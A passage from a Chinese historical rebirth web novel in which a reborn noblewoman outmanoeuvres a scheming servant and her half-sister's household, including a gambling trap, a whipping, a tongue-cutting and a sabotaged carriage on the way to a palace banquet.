那人滔天的权势,还对付不了一个官家小姐了?
姜棣负手而战,冷冷开口:“谁要保你家人平安?”
长风一开始没看见姜棣,他一出声长风倒是吓了一大跳,心里估摸着,把头偏了过去。
一副打死也不说的样子。
姜瓷蹲下身看着他,微微蹙眉道:“陆无浮?”
长风鄙夷的“哼”了一声:“他算什么!谅你也不敢想!”
能让他这么有底气的,倒是有意思,姜瓷也不想猜了,起身对姜棣道:“阿兄,将他送回家吧。”
姜棣神色一怔,没想到姜瓷会这般手软放过他,但他还是照做,令人将长风带走。
长风本就做好了去死的准备,可这人居然说要放过他,他笑出了声,像个疯子一般。
来了两个侍从将他拖走,雪地上划出长痕,他大叫道:“别以为这样我就会感谢你!”
待长风被拖出院子,姜瓷眼神中满是寒意:“找人诱导他去赌,不去便杀了他。”
害她的人没必要活着,这种难以掌控的人更是如此,她是死过一次的人,怎么可能会手软。
岚姨娘已经被姜棣送走了,但总归在京城住着,无论是为了什么,她都不可能给她留下一丝隐患。
姜棣望着眼前的妹妹,说不出来的狠戾感,真是变了很多。
从前的她对李氏百依百顺,比依赖他这个兄长还要更甚几分,与其说是好相与,不如说是对世事都冷淡,却唯独爱慕周以延。
这其中当然大部分都是李氏的原因,姜棣垂眸,因为渴望母爱吗……
他淡淡“嗯”了一声,思索片刻后道:“后日便是上元宫宴了,你若不想去在家中称病也可。”
姜瓷微微一愣,上元宫宴吗,上辈子哥哥也问过她同样的话,按照她平时的性格应是不想去的。
可宫宴嘛,意味着她能见到周以延,所以她去了,也是那次,陆无浮蓦地对她说了抱歉。
这中间到底发生了什么事,她至今没想明白,包括陆无浮上次对她的态度,所以她自然是要去的。
姜瓷摇了摇头道:“不用,我要去。”
姜棣眼神一沉,果然还是因为周以延吗。
-
临谭山峰上,一座古宅屹立着,墙壁岩石粗糙堆砌,仿佛历经沧桑。
门前两座仙鹤石雕,头部高高扬起,单脚站立着,脚下刻着两朵夺目的莲花。
肃穆的大门前,谢季手持一条修长的皮鞭,鞭
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子落在地上印下一道道血痕。
抬手一声清脆的巨响,叫人遍体生寒,他威严开口道:“逆子!你可知错!”
往前看,谢祈被两根粗壮的麻绳吊起手腕,整个人悬在空中,上半身裸露,鞭痕遍布。
少年身形修长,肩膀宽阔,却渗着片片血珠,仔细看,新伤叠着旧伤,他早就习以为常了。
他因疼痛微微吐出一口气,似笑非笑道:“我何错之有?”
从出生开始他父母便和离,他的母亲贵为长公主,因爱慕谢季居然要求先帝下旨,给他们赐婚。
可强求来的爱情终究不圆满,谢家作为江湖家族,武功最高的一派,本就不屑于朝廷有关系。
因此生下谢祈后,他的父母便和离了,表面是和离,其实是父亲直接走了,留下母子两人在那空洞的宅子里。
他的母亲向来要面子,一次求圣旨已经是她做的最拉脸的事了,于是只好对外宣称和离。
就算他的母亲贵为长公主也没能换来他一眼,因为他本就有心上人。
母亲将气撒在他身上,他被带到宫中,在宫里却也是个任人揉搓的野孩子。
直到朝廷巨变,他的母亲死在那场宫变中,他被接出了宫,兜兜转转竟是又回到了父亲身边,那时的他才七岁。
可一辈子没爱过母亲的谢季,居然要他为母亲复仇,他开始习武,起步本就比别的孩子晚,饶是天赋异禀也常受责罚。
因此挨打这些他早就习以为常了,毕竟谢季不会真的要了他的命,他还有利用价值。
唯一对他好的姑姑不知为何嫁入宫中,做了皇后,他也成了谢季指向朝廷的一把利刃。
谢季将他安插在姜家,只为找到那封沉寂多年的遗嘱,为他们的阴谋添上一个合理的理由!
而他还有一个名字,叫谢絮安。
多日没找到线索,将他吊在这抽他认了,可他有什么错!
这本就不是他该承受的命运。
谢季被他气的七窍生烟,抬手挥鞭,大骂道:“逆子!”
又是一鞭子落在谢祈身上,他死死咬着牙,竟是一声未吭。
那鞭子上泡了特质的药水,打在身上何止一下的疼,百骨仿佛被利刃刮过,他头上布满细细密密的汗珠。
眼见着他这般不肯服输,谢季怒气更甚,就在他又要抬手时,门内款款走出一个妇人,她看谢祈一眼,随后快步至谢季身旁。
“老爷莫生气了,祠儿正找您呢。”女人娇嫩地双手上染着蔻丹,轻轻抚在谢季的手上。
这就是谢季的心上人,谢家嫡母陈黛,而祠儿就是他们的孩子。
陈黛是书香世家的孩子,父亲是个三品文职散官,却愿意让她嫁入谢家。
谢祈本搭着的眸子抬起,望着眼前两人的样子难免地自嘲。
要说他真的做错了吗?并没有,只是谢季见到他这张脸,就想起从前被逼迫时的屈辱。
因此将仇恨尽数发泄在他的身上,有一点点错换来的就是满身伤痕。
谢季急急回去看他的小儿子,却忘了门外还挂着的谢祈,冰天雪地间他身上的寒冷却比不上心里的。
虽早就没抱任何期望,可每每见到时却还是难免心痛。
他也想下雪时有人为他撑一把伞,眼前视线越来越模糊,他阖上了眼,却隐约看见姜瓷的身影。
14.他来
长风被送回了家,落魄地走进那个胡同里,神情萎靡,眼中满是绝望,长时间的捆绑绳子在他手腕上磨出血痕。
望着胡同最深处,被封上的大门,他现在已经没有家了。
周围邻居侧目看过来,他被那些目光盯得感觉浑身都在发热。
不堪的议论声传入耳中:“就是他们家,大哥赌的欠了一屁股债还自杀了。”
“啧啧,真是可怜。”灰袄妇人一手拎着菜篮,一手捂嘴,细看身上还有几处补丁,她偏头嘲笑道,“现在这小儿子活像被别人打了似得,刚从垃圾堆里爬出来吧。”
另一个头戴方巾的妇人立刻奸笑道:“可怜之人必有可恨之处。”
长风猛地回头一挥手,发疯似得道:“关你们什么事!”
他这副样子虽吓人,可那两个妇人毕竟是见过大风大浪的,一张碎嘴没少吵架,自然是不怕他。
两人短暂的默了一秒后,灰袄妇人拿起篮中的烂青菜就往他脸上砸去,尖声道:“流浪狗还敢发疯,真把自己当个玩意儿了!”
这妇人平日里就是大嗓门,现在故意抬高音量,本就逼仄的胡同里顿时全是她的回音。
街坊邻居对这些事当然喜闻乐见,都探出个头来听着。
长风在姜瓷那里受欺负就算了,这几个市井妇人也敢欺负他!
他能当侍卫当然是有武功在身上的,可这么多双眼睛盯在着他,他虽不想活了,但他的父母还得在这生活下去。
长风愤怒的盯着眼前两个妇人,随时要发作的模样,方巾妇人见状又是一段尖酸阴阳:“瞧瞧这眼神,要杀人啦要杀人啦。”
“吱呀”一声,身后的木门被打开,一个老妪走了出来,一只手因骨折之后无人医治呈现出畸形。
她眼睛已经有些浑浊了,嘴唇干枯,哑声道:“风儿回来了,快进来。”
长风立马转身,捏住她的肩膀,眼中有泪道:“娘!”
这宅子本不应他们继续住,可那人承诺他将宅子留给他,如今事却没办成,也不知何时宅子会被收走。
父亲躺在床上,母亲身患残疾,而自己也没有了收入来源,日子无比的艰辛。
他本就做好了赴死的准备,因为活着好像比死了更累。
可他看到母亲的时候,又不忍心将他们扔在世上,万一姜瓷上门找麻烦怎么办?万一他们受欺负怎么办?
将母亲送入房中,他去照看了卧床的父亲,木门隔绝不了流言蜚语,尖酸刻薄的声音尽数落在他的耳中。
长风忍受不了地打开了门,刚准备教训一下这些碎嘴子的妇人们,却见到昔日好友正抬手准备敲门,朱深眼睛被肉挤的眯成了一条小缝,笑意盈盈道:“长风兄,最近可好啊?”
不用看也知道不好,他身上的破布衣裳从姜家回来都没换掉,还有隐隐约约的薄荷味。
虽这味道并不难闻,可时时刻刻提示着他的屈辱。
长风蹙眉并未回答。
他跟朱深是从小一起长大的,后来朱深的父亲当了个散官,日子也越过越好了,自然就搬走了,两人交集也越来越少。
朱深身型圆润,语气中却带着精明:“长风兄啊。”他低头捏了捏肚子上的肥肉,“我最近又圆润了些,那钱越赚越多竟花也花不完。”
长风以为他是来炫耀的,冷漠着就要关上门。
朱深忙拦住他,长风微怒道:“怎么?你要借我点?”
谁不知道他家里最是缺钱的时候,现在上门来不管什么目的,长风都不会给好脸色的。
就在这时一个凶神恶煞的大汉忽然出现,身后还带着一帮人,个个手上抄着家伙。
他们大喊道:“谁是长风?”那声音雄厚回荡长风一听便吓得急急要关门。
这是催债的来了!
他可没钱还,若是被他们知道,少不了又是一顿毒打。
朱深闻声转头,满脸赔笑道:“各位官老爷找长风什么事啊。”
领头那人哼了一声,慢悠悠道:“欠债还钱,天经地义,若他今日一个子拿不出来,我们就再卸他母亲一条胳膊。”
话落身后的长风几乎要暴走,好在朱深拦在前面这才没有冲上去。
朱深肥脸堆上笑:“官老爷别生气,今日我先替他还一点。”
说着他从身上摸出来几锭银子,直直塞进那人手中,然后道:“虽然不多,但给我们三日时间定能凑齐欠的。”
那人狐疑地看着他,将几个银子扔给了后面的手下,眼神狠戾盯着长风:“那就这么说好了,你们爽快点,也别为难我们。”
朱深忙点头称“是”。将人送到了胡同口,回来后却呼出一口气,拂袖擦了擦脸上的薄汗。
长风见状拳头捏紧,三日他怎么能凑到?可眼下人家刚帮你还了银子,也不好发作。
他下定决心似得道:“多谢朱兄,你说的那个办法……”
朱深见鱼儿上钩,眼中闪过一丝精光,笑道:“害,就是那金运坊呀……”
这就是兄长去的地方!长风下意识的抵触,皱眉往后退了半步。
朱深也不恼,弄神虚般停了停,贴近长风的耳朵。
片刻后,他笑着将什么东西塞进了长风手中,拍了拍长风的肩膀:“那便说好了,明日金运坊见!”
长风看着朱深离开的背影,心中想那方法真的能行吗,这可是作伪,被发现了是要被打出去的。
金运坊玩法简单,无非是几个投子比大小,他展开手心,上面静静地躺着两个骰子,随手一扔落在地上,一个五点一个六点。
哪一面在他手中朝上,落在地上便还是那一点。
翌日,他虽心中有疑虑,却还是如约去了。
金运坊隐匿于小巷之中,招牌却是金灿灿的,长风跟着朱深踏了进去,里面布满了形形色色的人。
许是因为他第一次来又生的高大老实,还有些露怯,旁人都侧目看了过来。
长风按照朱深教的,捏起两个投子,藏入袖中,换成了特质的投子,毫不意外的赢了。
他面上狂喜,眼中都是难以置信,随着大笔银子进帐,他越来越兴奋。
却忽视了赌桌上其他人透析一切的目光。
“朱兄,诚不欺我!”他扭头着了魔一般。
可朱深早已出了金运坊,小巷口姜棣的侍从给了他一袋银子。
“事儿办好了自然不会亏待你,城北处给你备了宅子。”
朱深忙点头称是,现在的他哪还有刚才那种满脸堆笑的奸诈模样,人生的白白胖胖,一副恭敬的样子。
“给侍郎大人办事是我的荣幸。”他圆滑道。
赌场中的
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长风可就惨了,在赢下兄长欠的数目后,他吐出一口气。
想着要不要停手,可面前筹码堆成小山,个个都是真金白银,谁不想钱更多呢。
于是他再一次扔下了手中的投子。
投子落地瞬间,赌场大门蓦地被关起,周围赌桌上的人也纷纷站到了两侧。
长风起初还没注意到情况,直到他对面的深紫衣男子捏起他扔在桌上的两个投子。
他心骤然升起,朝那男子看去,待看清人后,瞳孔紧缩。
赌场本就环境昏暗,加上他太过兴奋,以至于连赌桌上的人都没看清。
眼前人肤若羊脂白玉,深紫色华袍上绣着蟒图,不是本朝厂督陆无浮又是谁。
陆无浮将手中那两枚投子捏在手中把玩着,面上勾起一抹邪魅的笑,随后将投子扔在了桌上。
长风浑身颤抖,艰难开口:“厂…厂督大人。”
陆无浮闻言抬眸看向他,淡淡地摆了摆手,赌桌上另外两人瞬间将他摁在桌上。
他脸被压的变形,心里满是害怕,他本来是想死的,可在得到了活下去的希望后,他开始贪婪的想要活着。
给人希望再收回,永远是最为伤人的。
陆无浮在心中认可了姜瓷的想法,虽她安排了人,可他还是觉得不够妥善。
于是他来了。
陆无浮淡淡开口,明明含笑却让人脊背发凉:“在赌场行诈,带走吧。”
长风想起那人,猛地挣扎起来,高声道:“你们不能带我走!我头上有人,你敢动我!”
这话倒是让陆无浮微微一顿,除了内宅那几个妇人,还有谁?
放眼看去谁又能让长风对着他说出这种话。
陆无浮来了兴致,询问似得:“谁?说出来听听或许还能给你条活路。”
他眼神示意,那两人得令将长风松开,他膝弯被踹,猛地跪在地上。
抬头仰视着陆无浮,那人分明和善笑着,却让他胆战心惊,比姜瓷更为恐怖!
而周围本还喧嚣一片的赌桌,全部都有序站在了墙边,朱深也早已不见人影。
他才明白过来,他这是被算计了!
长风跪在地上,手撑着地,像条狗一样仰头,声音颤抖道:“是…是三皇子啊。”
陆无浮眯了眯眸子,抬手就将锋利的匕首刺进他的嘴里,长风反应不及,舌头瞬间被割下,只余满嘴鲜血。
他双眼瞪大,满是恐惧,痛苦的呻吟着,却只能发出“呜呜”的声音。
陆无浮接过下属的帕子,擦拭着短匕上的血迹,轻笑道:“只能怪你提了不该提的人。”
迎上长风痛苦的眸子,他淡淡开口道:“带走吧。”
待人被带走,他面上笑容逐渐消失,没想到三皇子从这么早就开始动手了。
难道他要找的东西在尚书府?
前朝有一个秘密,他上一辈子没能参透,让那些人趋之若鹜的东西他最后也没能找到。
原因还是因为三皇子不信任他。
而他帮着那些人构陷姜棣也纯属是因为看不惯他,分明底子里是跟他一样的阴狠,却偏要做那清正之人,可没想到他却阴差阳错害死了姜瓷。
陆无浮垂眸蓦地将干净的匕首插进了赌桌里。
冷冷开口道:“刚才那人留着,别杀。”
15.惹眼
谢祈还是被谢季带了回去,到底是需要他,再如何恨也不会要他的命。
在临谭峰上短短休息了一日,谢祈便被送回了尚书府。
他着一身黑衣,紧紧包裹着他的身体,将皮开肉绽的鞭痕挤得撕裂。
大雪还未化,他从院墙飞身而进,直落入雪地中,疼痛得蜷缩了一瞬,他咬牙迅速站起,将雪上的血迹踏平。
或是早已习惯,表情未见丝毫破绽。
姜瓷慢步走在廊下,听着竹月夸张地描述淡淡笑着。
“小姐!那长风真是罪有应得,还有岚姨娘,走的时候还哭鼻子。”竹月轻快道。
姜瓷听兄长所说,长风进了赌场,因行诈被捉走了,这般也好,省得因他记恨岚姨娘不安生。
走着,姜瓷一顿,鼻尖飘来一阵血腥味。
她对这种味道向来敏感,转头看向竹月,她似乎没闻道。
竹月忽的被看一眼,下意识摸了摸脸:“奴脸上有东西吗。”
姜瓷目光扫过客房,摇了摇头道:“你先回房去吧。”
竹月一怔,但还是听姜瓷的话,她越走心情越沮丧,莫不是自己说错了什么,惹得小姐不开心了?
待竹月走后,姜瓷微微吐出一口气,这味道分明是客房内传出来的。
而她已经有几日没见过谢祈了,家里若是进了人,竹月在她身旁总是有危险的。
姜瓷慢慢靠近客房,蓦地推开门,一声响动过后,门被大开着。
少年听到响动,上药的手下意识一顿,抬眸看向门边,她逆着光,发丝都熠熠生辉。
方才在外不觉,进屋内才发现浓烈的血腥气弥漫着,姜瓷看去,谢祈裸着上身,所见之处皆是触目惊心的鞭痕。
有些已结痂,有些却皮开见肉,似乎下一秒就要渗出鲜血。
对视片刻,他声音低哑喊了声:“小姐……”
姜瓷本来让他进府便是想看看他的目的是什么,可多日过去她并未发现异常。
这次消失几日,她也只当他有自己事,毕竟算是个乱臣贼子,有点秘密也正常。
可如今见到他这副样子,她愈发好奇,到底何路人能将他伤成这样。
打量的目光直直穿透谢祈,她缓声道:“你到底是什么人?”
这话问出谢祈微微一顿,似是没想到她会这么直白的问出。
可按照她的聪慧看出他的不对劲也正常,他的确怀有目的。
谢祈忽然一改往日沉默寡言的模样,耳尖泛着红,将手中药瓶放在床边桌上。
不知道为什么,被她撞见这般脆弱的模样时,他的心境就变了。
他如同一只受伤的幼犬,低低道:“小姐给奴上药,奴就告诉你。”
姜瓷闻言扬眉,饶是两辈子她也没见过他这般姿态。
她淡笑道:“我向来不逼人,你若不愿说便罢了。”
说完她便转身离开,头也不回,谢祈呆呆看着,直到她的背影完全消失,寒风吹入房中,他才低低吐出一口浊气。
-
翌日,上元宫宴来了。
下午府中开始忙碌起来,姜瓷穿得素净,一袭浅青色长褙子云纹裙,乌黑墨发轻轻拢向一侧,优雅的挽起。
竹月将玉簪插入她的发髻,对着铜镜愣了神:“小姐真漂亮。”
她本生就生的柔美清冷,配上这样的穿着更显幽婉,有种出尘仙子的美感。
从前的小姐瞧着总是忧气郁结,寡淡的很,给别人一种很好欺负的感觉,扔在人群中也会被淹没。
可现在她明显觉得小姐气场变了,现在的她清透又高贵,是真真的高门贵女模样,不再似之前那般内敛。
姜瓷淡淡一笑,起身将墨绿色灰绒毛领斗篷拢在身上:“走吧。”
刚至院中,便看见谢祈站在梅花树下等着她,风吹过,梅花落下,倒添了几分意境。
竹月好奇的上前打探,绕着他来回转了几个弯好奇道:“几日不见你去干什么啦?”
姜瓷见到他时本微微蹙眉,他身上尚未好全,没必要跟着她去这宫宴。
可竹月问的这个问题恰巧也是她想知道的,于是她禁了声,等待着他回答。
谢祈也看着她,确定她没有话说后,才应付开口道:“有事。”
这话太敷衍,竹月当然听出来了,她也不是自讨没趣的性格,轻哼一声去拉住姜瓷。
“不愿说就算了,小姐我们走吧。”
姜瓷轻扫他一眼,抬脚从他身边走过,谢祈下意识地跟在身后。
她察觉,回头蹙眉高声道:“你跟着干什么,受伤了就在府中。”
她平日里很少这般急言厉色,吓得竹月都一怔,以为小姐真的生气了。
可就算她教训李氏姜嫣的时候面上也是含着笑的。
谢祈面对她这般倒无甚反应,只垂眸道:“奴想去。”
竹月见此忙道:“他想去便让他去吧小姐,左右不嫌多个人。”
气氛微微缓解,姜瓷不再多说什么,转身就快步走向曲桑宜的院子。
今日宫宴按道理来讲应带曲桑宜这个嫡母,可她渐渐显怀,又不愿出门,于是上一世去的是温姨娘。
李氏身份过于低微,就算是生下一个孩子也难改变什么,于是每年这种时候,她只能好好地打扮姜嫣。
这样别人提起姜嫣时也能顺带着想起她这个娘。
温姨娘则在院中太过低调,以至于姜瓷感觉好久没见过这个人。
姜瓷疾步穿过,却遇到了刚从院中出来的姜嫣和李氏母女。
姜嫣今日穿着嫩粉色的衣袍,头上梳着繁琐的发髻,带上浮夸的簪子,配上她艳丽的外表乍一看确实让人眼前一亮。
可再看过去未免觉得太过枯燥,倒不如了姜瓷这般浑然天成的贵气。
李氏当然发现了这点,她平日里看姜瓷爱这般寡淡打扮不知道心里多开心,看上去活像个山里的尼姑,干瘪瘪的。
可如今气质却全然不同了,她分明还是之前的打扮,周身却莫名地有种清冷感。
李氏一副替姜瓷担忧的模样道:“二姑娘今日怎穿得这样素淡,宫宴自然要穿的喜庆些,我那还有件全新的暗红色的衣裙,去拿给二姑娘如何?”
姜瓷又换上了那副淡笑的模样,抬眼看了下天,距离宫宴还有点时间,那便不急了。
李氏被她这笑得下意识的后背发凉,她最近每次教训她时都是这幅样子。
她怀疑自己有哪里说错了,可捡着一字一句回去念了遍,也没错啊。
焦灼之际终于听见姜瓷开口:“也好,那便劳烦姨娘去拿给我了。”
李氏一开始还没反应过来,没想到姜瓷答应的如此爽快。
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>她急急吩咐丫鬟去拿,不一会几个丫鬟手上便拿端来了。
是件朱红色织金花的蜀锦裙,外头斗篷是暗红色黑绒领斗篷。
拿出来的第一刻姜瓷就知道她想干什么了,这颜色虽看着端正,穿不好却十分显老。
李氏尚不敢穿,别说她这个刚及笄的少女,穿上定是灾难。
姜嫣见此谄媚奸笑着:“姐姐快回房去换吧。”
姜瓷抬眼,面上还是带着淡淡地笑意,可她又不是真的刚及笄的少女。
多少是嫁过人在将军府中磨练过的,这颜色她之前也没少穿,她抬手抚了下斗篷料子,淡淡笑道:“好啊。”
竹月看出她们心思,急急想劝她:“小姐这颜色着实……”
姜嫣尖声打断她:“我们说话,哪有下人的份。”
竹月知道自己失了规矩,顿时禁了声,不想给小姐惹什么麻烦。
姜瓷闻言睨了眼姜嫣,抬脚走进了屋,竹月接过衣裳慌忙跟上。
待到屋中,竹月急道:“小姐,这颜色太过于老气了,奴担心……”
她说着,却在看到姜瓷淡定的神色后停了下来,姜瓷从镜子里跟她对视,安抚道:“无事,她们想看便穿给她们看,只要没动手脚就行。”
竹月知道姜瓷向来有主意,已经不是从前任人揉搓的小姐了,心下一定。
将衣裳仔细里里外外检查过,答道:“小姐可以放心穿。”
姜瓷穿上那件朱红色蜀锦裙,虽看好却有种说不出来的违和。
竹月担忧的皱着眉头,姜瓷笑了笑,伸出芊芊玉手将玉簪拔下,轻轻放在桌上。
“帮我盘成高髻。”
一语点破违和点,竹月瞬间明白她的意思,侧挽着的发髻并不适合这等暗色的衣裳。
她迅速将她的一头青丝盘起,发髻正中间插入金梳簪,再在左右两鬓插入金边花。
虽头上金饰繁多,却并不显得俗气,反而看起来更加有大家风范。
暗红色黑绒领斗篷拢在身上,姜瓷拿出口脂抿了抿唇,将原本淡红色的唇染得更加鲜红。
李氏和姜嫣在外面都快等着急了,可一想到能看到姜瓷丑态百出便忍不住笑了出来。
姜嫣身边的丫鬟翠蓝捂嘴笑道:“那土包子,怎么比得过咱家小姐。”
话音刚落,院中门被打开,竹月率先走了出来,她们三人站在门口伸长了脖子朝里看。
姜瓷款款而出,迈过门槛,居高临下般俯视着她们。
眼前这少女穿着暗红色斗篷却不嫌得老气,领口黑绒毛更衬得她肌肤雪白,虽生得清冷却也能驾驭住这等衣裳。
李氏心里就一个念头,坏了,本想让她出丑别人就能注意到自家女儿的绝世容貌,可没想到这衣服反而让她变得越发惹眼。
若说那浅青色的衣裳穿在她身上是清冷出尘的仙子,现在这衣服就平白给她增添了上位者的气势。
姜嫣见此暗暗咬牙,本想看好戏却更加被她艳压,现在这衣裳让她瞧着压迫感十足,是真真的金枝玉叶。
翠蓝刚刚还说姜瓷是土包子,现下却被震得说不出话来,她明明是那般少女的面容,看起来却像是当家主母才有的风范。
姜瓷冷冷扫过众人,淡笑着开口:“走吧。”
远处的少年,见她出来下意识望过去,心却一跳,着实华贵。
16.优雅
姜瓷冷冷扫过众人,淡笑着开口道:“走吧。”
气势之华贵,仿佛开口就在命令众生。
姜嫣向来将喜怒摆在脸上,现在见着她这般“切”了一声,扭头就快步走了。
翠蓝急急追了上去,只留李氏一人独站在院中。
姜瓷含笑从她身边踏过,李氏见着一口牙都快要碎了,等确认姜瓷彻底走后,才敢在院中跺脚大骂道:“贱人!”
娇嫩的粉色花瓣依偎在枝头,金黄花蕊微微露出,姜瓷每踏过一步,都仿佛带出一抹幽香。
至曲桑宜院中,她仍旧一袭素衣,裙摆上绣着金纹,头发半披在身后,一根玉簪插在挽起的发丝上,耳垂静静挂着两只白玉耳坠。
她端坐在房内棋桌旁,和自己对弈着,房门大开,她整个人都散发着柔和的光芒,姜瓷神色一怔,看了她片刻后,听见里面传来一道清冷的声音:“在门口看着做什么,进来。”
话说完,她优雅抬手,一枚玉质棋子落在了棋盘上,发出轻脆声响。
姜瓷忙走进去,给曲桑宜行礼:“母亲。”
她一个眼神都未分给姜瓷,认真盯着眼前棋盘,只淡淡问道:“会吗。”
又是一子落下,随着轻响,姜瓷轻声答:“会。”
闻言,曲桑宜这才抬头,似打量着看她,随后,她将手边陶瓷棋罐推至对面:“坐。”
姜瓷随眼看了下外面的天色,应是还有一会时间,下得快的话是来得及的,于是她深呼吸一口气,坐了下来。
棋盘上已是残局,她手捏一枚黑子,看着局势,却见一处破绽,眸光一亮,迅速落下一子。
曲桑宜见状却微微蹙眉,随手将白子落在了另一处,一子落下姜瓷微微一顿。
刚才她走的那步并非什么破绽,而是曲桑宜故意让她走的陷阱,所谓一子之差,满盘皆输,后面无论怎么下都已是无力回天。
平时的她是万不可能出如此差错的。
这局输赢已定,下得迅速。
曲桑宜抬眸淡淡开口:“下棋最忌急躁。”
姜瓷确实着急了,因天色渐晚,若是耽搁了宫宴那便不好了。
曲桑宜又怎么没想到,她只道:“无论做什么事,思虑好了再办,若是着急,你是否该跟我下这盘棋?”
姜瓷知道曲桑宜说的是对的,这般急躁只会让人拿了短处,不过她今日来找曲桑宜只为一件事:“宫宴母亲去吗。”
曲桑宜正在收棋子的手一顿,随着棋子噼里啪啦落入瓷罐中,她淡然起身:“我是嫡母,自然是要去的。”
可若她不想去,借着流产称病也是无碍的,只是姜瓷既来寻她,那便去吧。
曲桑宜从衣橱中随手拎出件雪狐绒斗篷,那斗篷上绣着大片大片的银丝梅花,袖口与领口皆有精细的花纹。
她淡淡拢在身上,一副世外仙的模样,两人一红一白倒着实叫人惊艳,分明是做母亲的年纪却还如少女一样的面容。
两人方至门外,两辆马车停在府前,姜嫣与翠蓝站在后头那辆马车,焦急等待着。
见姜瓷出来,她皱眉急道:“你可真慢,快些上车吧。”
视线却被一旁的曲桑宜吸引,往日里听母亲说起此人,皆是不屑,可现在看来这一副贵气模样是怎么回事。
姜瓷望着眼前两辆马车,微微一扬眉,往年她们都是乘同一辆马车去的,包括上一世的今天。
今日突然弄出来两辆马车,姜瓷不由得生出些怀疑,莫非她又整了什么幺蛾子。
不过今日她与曲桑宜一起,还不想看见姜嫣呢,两辆马车正好。
曲桑宜冷冷扫了眼姜嫣,抬脚上了第一辆马车,只是那眼神叫姜嫣后背发凉。
姜瓷见曲桑宜都上去了,自己也不好多说什么,快步跟了上去。
待她们马车开走后,姜嫣和翠蓝才登上后面那辆马车。
姜嫣想起刚才曲桑宜的眼神,虽有些害怕,可现在她又不在,于是她跺脚咬牙怨恨道:“不受宠的贱妇看什么看!”
不过转瞬一想,等会就能让她们吃苦头,姜嫣脸色就瞬间转变了,带上了一抹奸诈的笑。
翠蓝见此也低低笑道:“小姐,奴倒要看看她们能不能赶上。”
“哼,就算赶上了也是灰头土脸的小丑。”姜嫣冷笑道。
在她们没来时,她偷偷在那辆马车上动了手脚。
买通了那马夫,偷偷卸下了她们马车上的一些零部件。
这些部件虽小,却起着支撑整个马车的作用,若是没了路上稍微颠簸一下整个马车都会散架。
这么想着姜嫣脸上又是一阵笑意,她吩咐前面的马夫:“同我那姐姐绕道走,别遇上了。”
遇上了她若是视若无睹定会被扣上个帽子,可若是她根本就没看见呢,那谁也怪罪不了她了,还能借机安慰姜瓷,让旁人给她留下个好印象。
她想着又想到了在宫宴上定能见到那兵部的许郎中,温润如玉的翩翩公子,她又是一阵脸红。
另一边。
曲桑宜在马车中闭目凝神,手中捏着一杯温茶。
姜瓷坐在绒毯上,仔细打量着周围,偶尔掀开帘子盯一盯前面的马夫。
寒风罐进马车内,冷得曲桑宜手指一抖,她冷冷睁开眼看着姜瓷,姜瓷察觉,迅速放下帘子端坐好。
曲桑宜分明一句话没说,却无端给她一种长辈的错觉。
她将手搭在膝盖上,像个做错事的小孩。
竹月见状轻笑道:“难得见小姐这样。”
这几日小姐做事越发沉稳,都让她快忘记她只是个刚及笄的少女了,今日在曲桑宜面前才有些娇憨感。
曲桑宜放下手中茶水,淡淡道:“有事?”
“只是怀疑而已……”姜瓷想着淡淡蹙起眉头,“姜嫣会对这个马车做手脚吗。”
她自负地想,姜嫣会有这个勇气吗,但凡她对马车动手脚,姜瓷都能给她安个谋害嫡女嫡母的帽子。
前几次的教训她也算是给足了,真的会有人蠢到这个地步自讨苦吃吗。
另一辆马车里的姜嫣奸笑着,却突然打出一个喷嚏。
姜瓷还在思索,便听曲桑宜淡淡地说:“这世上不会有无缘无故的怀疑,既生了疑便要查清。”
话音刚落,马车车轱辘碾上一块碎石,那车轱辘竟直接飞了出去。
一时间马车向右边倒去,木架轰然断裂,另一只轱辘也脱离车身向前滚了出去,好在恢
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复了平衡。
长街上的人被这忽如其来的巨响吓了一大跳。
眼见着姜瓷就要撞上车壁,曲桑宜一把捞起姜瓷和竹月蹬脚从车窗飞身而起,在空中转了几个漂亮的圈稳稳落地。
人们虽惊吓,却在看到这个白衣侠女时不由得怔了神,再往一旁看去,暗红色斗篷头戴金簪,生的如此贵气之人,不用想就是高门望族,因此都纷纷收回了目光,没敢再多看一眼。
姜瓷从曲桑宜怀中出来,怔愣着看着她,她没想到她居然会武功,并且这一套行云流水的动作,看起来实力不容小觑。
她忍不住咽了咽口水,望向曲桑宜的眼神多了几分崇拜又是惋惜。
这般厉害的人,上辈子居然死在难产,死于内宅纠纷,一时间一阵心痛。
竹月就没有她这么复杂了,眼里像有星星闪耀似得:“好厉害啊!”
曲桑宜也不打算多做解释,见两人没受伤,便抬眸看去,扫视了一圈,她微微蹙眉,马夫跑了,马也因为受到了惊吓,不知所踪。
而本该跟在她们后面的姜嫣,也不见踪影,如此的巧合,姜瓷还真怀疑对了。
姜瓷也发现了现况,现在再去准备马车已是来不及了,她微微蹙眉,想着解决方法。
就在这时,一阵尘土飞扬,马蹄声至她耳边,她下意识抬眸,见到少年一袭黑衣,逆着光在马上俯视着她。
谢祈翻身下马,将缰绳捏在手中,轻声道:“原是小姐没等奴,奴便自做主张……”
姜瓷看着他的眼神,一片复杂,蹙眉开口道:“你伤还未好,骑什么马。”
谢祈垂着眸没说话,像个做错事的小孩,曲桑宜看他们一眼,清了清嗓子打破僵局,她开口道:“我跟二娘骑马走,你们再去寻个马车找我们吧。”
她规划好后从谢祈手中接过缰绳,直接翻身上马,利落又迅速,姜瓷抬眸眼中又是崇拜,曲桑宜伸手将她拉上马,低头深深看了谢祈一眼,随后捏住缰绳,挥道:“驾。”
马蹄声渐小,留下谢祈和竹月两人站在长街上,一片马车废墟前。
夕阳印在少年的脸上,照出一片幽潭似的眸子。
朱红城墙威严耸立,马蹄踏入皇宫,宽阔御道笔直延伸。
各路贵族乘着马车,皆有序进入,姜嫣在马车中想到姜瓷现在狼狈的样子,高兴得哼着小曲给自己倒茶,又是拿出口脂细致涂抹在唇上。
翠蓝幸灾乐祸道:“小姐,她们现在肯定狼狈的不知所措呢。”
姜嫣艳丽的脸印在铜镜上,嘴上口脂鲜艳,她勾起嘴角笑着:“这下没人会和我争了。”
话刚落,她耳边忽然传出一阵马蹄声,在都是缓步走着的马车中显得尤为突兀。
那马蹄声仿佛踩在她的心上,每一步都在震荡,印在铜镜中的脸瞬间警惕起来。
她蓦地放下铜镜,带上些急促地问翠蓝:“你可有听到什么动静。”
翠蓝一脸懵地摇了摇头,姜嫣还是不放心,掀开帘子朝外头看去,视线中却突然多出来两条骑在马背上的腿。
一白一红,不是姜瓷和曲桑宜又是谁!
她整个人霎时僵住,只听见头上传来幽幽声音:“妹妹,我会同你争什么?”
17.相似
姜嫣吓得向后跌坐过去,帘子被放下,只听见马蹄声在耳边放大。
